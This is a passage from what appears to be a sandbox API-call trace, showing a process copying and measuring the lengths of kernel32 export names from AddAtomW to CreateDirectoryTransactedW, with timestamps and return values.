lpString1="AddAtomW") returned="AddAtomW" [0075.847] lstrlenA (lpString="ADDATOMW") returned 8 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0075.847] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0075.847] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0075.847] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0075.847] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0075.847] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0075.847] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0075.847] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0075.847] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0075.847] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0075.847] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0075.847] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0075.847] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0075.847] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0075.848] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0075.848] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0075.850] lstrcpyA (in: lpString1=0x321cec8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0075.850] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0075.850] lstrcpyA (in: lpString1=0x321cec8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0075.850] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0075.850] lstrcpyA (in: lpString1=0x321cec8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0075.852] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0075.852] lstrcpyA (in: lpString1=0x321cec8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0075.852] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0075.852] lstrcpyA (in: lpString1=0x321cec8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0075.852] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0075.852] lstrcpyA (in: lpString1=0x321cec8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0075.852] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0075.852] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0075.853] lstrlenA (lpString="BACKUPREAD") returned 10 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0075.853] lstrlenA (lpString="BACKUPSEEK") returned 10 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0075.853] lstrlenA (lpString="BACKUPWRITE") returned 11 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0075.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0075.853] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0075.853] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0075.853] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0075.853] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0075.853] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0075.853] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0075.853] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0075.853] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0075.853] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0075.853] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0075.853] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0075.854] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0075.854] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0075.854] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0075.854] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0075.854] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0075.854] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0075.854] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0075.854] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0075.854] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0075.854] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0075.854] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0075.854] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0075.854] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0075.854] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0075.854] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0075.855] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0075.855] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0075.855] lstrlenA (lpString="BEEP") returned 4 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0075.855] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0075.855] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0075.855] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0075.855] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0075.855] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0075.855] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0075.855] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0075.855] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0075.855] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0075.855] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0075.855] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0075.855] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0075.856] lstrlenA (lpString="CANCELIO") returned 8 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0075.856] lstrlenA (lpString="CANCELIOEX") returned 10 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0075.856] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0075.856] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0075.856] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0075.856] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0075.856] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0075.856] lstrlenA (lpString="CHECKELEVATION") returned 14 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0075.856] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0075.856] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0075.856] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0075.856] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0075.856] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0075.856] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0075.856] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0075.856] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0075.857] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0075.857] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0075.857] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0075.857] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0075.857] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0075.857] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0075.857] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0075.857] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0075.857] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0075.857] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0075.858] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0075.858] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0075.858] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0075.858] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0075.858] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0075.858] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0075.858] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0075.858] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0075.858] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0075.858] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0075.858] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0075.858] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0075.858] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0075.858] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0075.858] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0075.858] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0075.858] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0075.859] lstrlenA (lpString="COPYCONTEXT") returned 11 [0075.859] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0075.859] lstrlenA (lpString="COPYFILEA") returned 9 [0075.859] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0075.859] lstrlenA (lpString="COPYFILEEXA") returned 11 [0075.859] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0075.859] lstrlenA (lpString="COPYFILEEXW") returned 11 [0075.859] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0075.863] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0075.863] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0075.863] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0075.863] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0075.863] lstrlenA (lpString="COPYFILEW") returned 9 [0075.863] lstrcpyA (in: lpString1=0x321cec8, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0075.863] lstrlenA (lpString="COPYLZFILE") returned 10 [0075.865] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0075.865] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0075.865] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0075.865] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0075.865] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0075.865] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0075.865] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0075.865] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0075.865] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0075.865] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0075.866] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0075.866] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0075.866] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0075.866] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0075.866] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0075.866] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0075.866] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0075.867] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0075.867] lstrcpyA (in: lpString1=0x321cec8, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0075.867] lstrlenA 